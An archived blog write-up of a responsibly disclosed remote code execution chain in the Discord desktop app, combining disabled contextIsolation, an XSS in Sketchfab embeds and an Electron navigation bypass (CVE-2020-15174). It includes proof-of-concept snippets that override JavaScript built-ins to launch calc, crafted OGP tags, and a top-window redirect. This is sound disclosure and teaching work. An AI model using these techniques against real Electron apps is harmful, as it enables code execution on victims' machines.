

Discord Desktop app RCE

Discord Desktop app RCE - Masato Kinugawa, MKSB.

- Published: date not stated
- Original: <<https://mksben.l0.cm/2020/10/discord-desktop-rce.html>>
- Preserved from: <https://mksben.l0.cm/2020/10/discord-desktop-rce.html> (browser) on 2026-10-02
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Content

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A few months ago, I discovered a remote code execution issue in the [Discord](#) desktop application and I reported it via their [Bug Bounty Program](#).

The RCE I found was an interesting one because it is achieved by combining multiple bugs. In this article, I'd like to share the details.

Why I chose Discord for the target

I kind of felt like finding for vulnerabilities of the Electron app, so I was looking for a bug bounty program which pays the bounty for an Electron app and I found Discord. Also, I am a Discord user and simply wanted to check if the app I'm using is secure, so I decided to investigate.

Bugs I found

Basically I found the following three bugs and achieved RCE by combining them.

- Missing contextIsolation
- XSS in iframe embeds
- Navigation restriction bypass (CVE-2020-15174)

I'll explain these bugs one by one.

Missing contextIsolation

When I test Electron app, first I always check the options of the [BrowserWindow API](#), which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.

The Discord's Electron app is not an open source project but the Electron's JavaScript code is saved locally with the asar format and I was able to read it just by extracting it.

In the main window, the following options are used:

```
const mainWindowOptions = { title: 'Discord', backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight:
MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible,
webPreferences: { blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false, preload: _path2.default.join(__dirname,
'mainScreenPreload.js'), nativeWindowOpen: true, enableRemoteModule: false,
spellcheck: true } };
```

The important options which we should check here are especially *nodeIntegration* and *contextIsolation*. From the above code, I found that the *nodeIntegration* option is set to false and the *contextIsolation* option is set to false (the default of the used version) in the Discord's main window.

If the *nodeIntegration* is set to true, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:

```
<script> require('child_process').exec('calc'); </script>
```

In this time, the *nodeIntegration* was set to false, so I couldn't use Node.js features by calling the `require()` directly.

However, there is still a possibility of access to Node.js features. The *contextIsolation*, another important option, was set to false. This option should not be set to false if you want to eliminate the possibility of RCE on your app.

If the *contextIsolation* is disabled, a web page's JavaScript can affect the execution of the [Electron's internal JavaScript code on the renderer](#), and preload scripts (In the following, these JavaScript will be referred to as the JavaScript code outside web pages). For example, if you override `Array.prototype.join`, one of the JavaScript built-in methods, with another function from a web page's JavaScript, the JavaScript code outside web pages also will use the overridden function when the `join` is called.

This behavior is dangerous because Electron allows the JavaScript code outside web pages to use the Node.js features regardless the *nodeIntegration* option and by interfering with them from the function overridden in the web page, it could be possible to achieve RCE even if the *nodeIntegration* is set to false.

By the way, a such trick was previously not known. It was first discovered in a pentest by Cure53, which I also joined in, in 2016. After that, we reported it to Electron team and the *contextIsolation* was introduced.

Recently, that pentest report was published. If you are interested, you can read it from the following link:

Pentest-Report Ethereum Mist 11.2016 - 10.2017 https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

You can also read the slides which I used at a CureCon event:

The *contextIsolation* introduces the separated contexts between the web page and the JavaScript code outside web pages so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE, but this time it was disabled in Discord.

Now I found that the *contextIsolation* is disabled, so I started looking for a place where I could execute arbitrary code by interfering with the JavaScript code outside web pages.

Usually, when I create a PoC for RCE in the Electron's pentests, I first try to achieve RCE by using the Electron's internal JavaScript code on the renderer. This is because the Electron's internal JavaScript code on the renderer can be executed in any Electron app, so basically I can reuse the same code to achieve RCE and it's easy.

In my slides, I introduced that RCE can be achieved by using the code which Electron executes at the navigation timing. It's not only possible from that code but there are such code in some places. (I'd like to publish examples of the PoC in the future.)

However, depending on the version of Electron used, or the *BrowserWindow* option which is set, because the code has been changed or the affected code can't be reached correctly, sometimes PoC via the Electron's code does not work well. In this time, it did not work, so I decided to change the target to the preload scripts.

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via

```
DiscordNative.nativeModules.requireModule('MODULE-NAME') , into the web page.
```

Here, I couldn't use modules that can be used for RCE directly, such as *child_process* module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the calc application is popped up when I call the `getGPUDriverVersions` function which is defined in the module called "*discord_utils*" from devTools, while overriding the `RegExp.prototype.test` and `Array.prototype.join`.

```
RegExp.prototype.test=function(){ return false; } Array.prototype.join=function(){  
return "calc"; }  
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```

The `getGPUDriverVersions` function tries to execute the program by using the "execa" library, like the following:

```
module.exports.getGPUDriverVersions = async () => { if (process.platform !==  
'win32') { return {}; } const result = {}; const nvidiaSmiPath =  
`${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe; try {  
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) {  
result.nvidia = {error: e.toString()}; } return result; };
```

Usually the `execa` tries to execute "`nvidia-smi.exe`", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, the argument is replaced to "`calc`" in the `execa`'s internal processing.

Specifically, the argument is replaced by changing the following two parts.

<https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36>

<https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55>

The remaining work is to find a way to execute JavaScript on the application. If I can find it, it leads to actual RCE.

XSS in iframe embeds

As explained above, I found that RCE could happen from arbitrary JavaScript execution, so I was trying to find an XSS vulnerability. The app supports the autolink or Markdown feature, but looked like it is good. So I turned my attention to the iframe embeds feature. The iframe embeds is the feature which automatically displays the video player on the chat when the YouTube URL is posted, for example.

When the URL is posted, Discord tries to get the [OGP](#) information of that URL and if there is the OGP information, it displays the page's title, description, thumbnail image, associated video and so on in the chat.

The Discord extracts the video URL from the OGP and only if the video URL is allowed domain and the URL has actually the URL format of the embeds page, the URL is embedded in the iframe.

I couldn't find the documentation about which services can be embedded in the iframe, so I tried to get a hint by checking the CSP's `frame-src` directive. At that time, the following CSP was used:

```
Content-Security-Policy: [...] ; frame-src https://.youtube.com https://.twitch.tv
https://open.spotify.com https://w.soundcloud.com https://sketchfab.com
https://player.vimeo.com https://www.funimation.com https://twitter.com
https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/
https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com
https://*.watchanimeattheoffice.com
```

Obviously, some of them are listed to allow iframe embeds (e.g. YouTube, Twitch, Spotify). I tried to check if the URL can be embedded in the iframe by specifying the domain into the OGP information one by one and tried to find XSS on the embedded domains. After some attempts, I found that the [sketchfab.com](#), which is one of the domains listed in the CSP, can be embedded in the iframe and found XSS on the embeds page. I didn't know about Sketchfab at that time, but it seems that it is a platform in which users can publish, buy and sell 3D models. There was a simple DOM-based XSS in the footnote of the 3D model.

The following is the PoC, which has the crafted OGP. When I posted this URL to the chat, the Sketchfab was embedded into the iframe on the chat, and after a few clicks on the iframe, arbitrary JavaScript was executed.

https://l0.cm/discord_rce_og.html

```
<head> <meta charset="utf-8"> <meta property="og:title" content="RCE DEMO">
[...] <meta property="og:video:url"
content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/em
bed"> <meta property="og:video:type" content="text/html"> <meta
property="og:video:width" content="1280"> <meta property="og:video:height"
content="720"> </head>
```

Okay, finally I found an XSS, but the JavaScript is still executed on the iframe. Since Electron doesn't load the "JavaScript code outside web pages" into the iframe, so even if I override the JavaScript built-in methods on the iframe, I can't interfere with the Node.js' critical parts. To achieve RCE, we need to get out of the iframe and execute JavaScript in a top-level browsing context. This requires opening a new window from the iframe or navigating the top window to another URL from the iframe.

I checked the related code and I found the code to restrict navigations by using "new-window" and "will-navigate" event in the code of the main process:

```
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition,
options) => { e.preventDefault(); if (frameName.startsWith(DISCORD_NAMESPACE) &&
windowURL.startsWith(WEBAPP_ENDPOINT)) { popoutWindows.openOrFocusWindow(e,
windowURL, frameName, options); } else { _electron.shell.openExternal(windowURL);
} }); [...] mainWindow.webContents.on('will-navigate', (evt, url) => { if
(!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { evt.preventDefault(); } });
```

I thought this code can correctly prevent users from opening the new window or navigating the top window. However, I noticed the unexpected behavior.

Navigation restriction bypass (CVE-2020-15174)

I thought the code is okay but I tried to check that the top navigation from the iframe is blocked anyway. Then, surprisingly, the navigation was not blocked for some reason. I expected that the attempt is caught by the "will-navigate" event before the navigation happens and refused by the `preventDefault()`, but is not.

To test this behavior, I created a small Electron app. And I found that the "will-navigate" event is not emitted from the top navigation started from an iframe for some reason. To be exact, if the top's origin and iframe's origin is in the same-origin, the event is emitted but if it is in the different origin, the event is not emitted. I didn't think that there is a legitimate reason for this behavior, so I thought this is an Electron's bug and decided to report to Electron team later.

With the help of this bug, I was able to bypass the navigation restriction. The last thing I should do is just a navigation to the page which contains the RCE code by using the

iframe's XSS, like `top.location="//l0.cm/discord_calc.html"`.

In this way, by combining with three bugs, I was able to achieve RCE as shown in the video below.

In the end

These issues were reported through [Discord's Bug Bounty Program](#). First, Discord team disabled the Sketchfab embeds, and a workaround was taken to prevent navigation from the iframe by adding the *sandbox* attribute to the iframe. After a while, the *contextIsolation* was enabled. Now even if I could execute arbitrary JavaScript on the app, RCE does not occur via the overridden JavaScript built-in methods. I received \$5,000 as a reward for this discovery.

The XSS on Sketchfab was reported through [Sketchfab's Bug Bounty Program](#) and fixed by Sketchfab developers quickly. I received \$300 as a reward for this discovery.

The bug in the "will-navigate" event was reported as a bug of Electron to [Electron's security team](#), and it was fixed as the following vulnerability (CVE-2020-15174).

Unpreventable top-level navigation · Advisory · electron/electron <https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674>

That's it. Personally, I like that the external page's bug or Electron's bug, which is unrelated to the app itself's implementation, led to RCE :)

I hope this article helps you keep your Electron apps secure.

Thanks for reading!